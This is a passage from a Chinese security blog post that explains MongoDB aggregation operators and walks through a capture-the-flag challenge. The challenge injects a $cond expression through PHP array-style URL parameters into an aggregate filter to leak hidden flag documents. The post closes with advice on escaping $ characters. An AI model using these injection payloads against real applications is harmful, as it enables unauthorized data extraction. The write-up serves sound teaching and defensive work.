$push 返回一组文档中所有文档所选字段的全部值的数组。例如:username:{$push:”$username”}
$sum 返回一组文档中以个字段的全部值的总和。例如:total:{$sum:”$value”}

可用在聚合表达式的字符串和算术运算符

运算符 说明
$add 计算数值的总和。例如:valuePlus5:{$add:[“$value”,5]}
$divide 给定两个数值,用第一个数除以第二个数。例如:valueDividedBy5:{$divide:[“$value”,5]}
$mod 取模。例如:{$mod:[“$value”,5]}
$multiply 计算数值数组的乘积。例如:{$multiply:[“$value”,5]}
$subtract 给定两个数值,用第一个数减去第二个数。例如:{$subtract:[“$value”,5]}
$concat 连接两个字符串 例如:{$concat:[“str1”,”str2”]}
$strcasecmp 比较两个字符串并返回一个整数来反应比较结果。例如 {$strcasecmp:[“$value”,”$value”]}
$substr 返回字符串的一部分。例如:hasTest:{$substr:[“$value”,”test”]}
$toLower 将字符串转化为小写。
$toUpper 将字符串转化为大写。

在使用aggregate()聚合函数时,在里面是可以使用条件判断语句的。在MongoDB中 $cond表示if判断语句,匹配的符号使用 $eq,连起来为[$cond][if][$eq],当使用多个判断条件时重复该语句即可。例如:

db.users.aggregate(
    [
        {
            $project:
              {
                "authority":
                   {
                      $cond: { if : { $eq :["$username","admin"]}, then : "$username" , else: "employee"}
        },
        "checkpass":"$password"}
        }
    ]
);

先是对 $username$password 重命名为 authority 和 checkpass,当 $username 检测为 admin 时, 返回 $username 本身的值, 其余则返回字符串 employee,后面则是直接输出与之对应的密码。

20210811115012352

回顾本题,首先看 $pipline ,将 $category 重命名为 _id,然后列出再排列再选取前5个数据输出,再看 $filter,会把 $filter 输出的值重命名为 category,那我们可以在 $project 中插入 $cond 判断语句,通过if 条件语句带出值为 flags$category,其余则是输出字符串 *,如下:

db.news.aggregate(
   [
      {
         $project:
           {
             category:
               {
                 $cond: { if: { $eq: [ "$category", "flags"] }, then: $title, else: "*" }
               }
           }
      }
   ]
)

转成 php 数组形式传入filter 参数,当然测试后发现了排序问题,有些传过去会导致我们的 flags 排序靠后所以看不到

?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$title&filter[$cond][else]=*

20210811114817852

提示 This is a flag text,然后修改 $title 为 $text

?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$text&filter[$cond][else]=*

得到 flag

20210811102816833

 

小结

对于外部拼接查询语句的内容,需对特殊字符严格过滤或转义,例如 $ 字符;对于 JavaScript 注入,$where 和 execute 方法尽量少用。

上述就是 MongoDB 特性注入的全部内容,如有不足,希望各位师傅踊跃提出!

本文由AmTrain原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/250101

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
AmTrain
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66